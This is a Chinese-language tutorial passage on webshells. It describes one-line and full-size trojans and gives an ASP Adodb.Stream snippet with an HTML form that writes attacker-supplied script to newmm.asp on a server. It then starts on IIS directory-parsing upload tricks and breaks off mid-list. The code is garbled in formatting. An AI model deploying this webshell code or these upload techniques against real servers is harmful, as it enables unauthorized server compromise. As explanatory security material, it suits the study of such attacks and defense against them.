Webshell实现与隐藏探究,webshell实现探究
一、什么是webshell
webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理 工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于 webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被 黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话 连接本地的一些相关工具直接对服务器进行入侵操作。
webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
根据功能也分为大马与小马,小马通常指的一句话木马,例如:通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将 request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):Default set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue") lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp(添入生成木马的内容)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18formaction=http://主机路径/TEXT.asp method=post>textareaname=valuecols=120rows=10width=45>setlP=server.createObject("Adodb.Stream")//建立流对象lP.Open//打开lP.Type=2//以文本方式lP.CharSet="gb2312"//字体标准lP.writetextrequest("newvalue")lP.SaveToFileserver.mappath("newmm.asp"),2//将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式lP.Close//关闭对象setlP=nothing//释放对象response.redirect"newmm.asp"//转向newmm.asp/textarea>textareaname=newvaluecols=120rows=10width=45>(添入生成木马的内容)/textarea>BR>center>br>inputtype=submitvalue=提交>这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里 面的内容(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。其中客户端中的value代表的是表单 的名字,必须跟服务端(本机)的post提交中的表单名一样,所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个‘密码’是明文 的,可以截取下来。PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。
大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制 该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很 有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马 拿到webshell,然后通过小马的连接上传大马拿到服务器。
二、如何上传webshell
1.解析漏洞上传
现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。
(1)iis目录解析漏洞比如:/xx.asp/xx.jpg虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
(2)文件解析漏洞
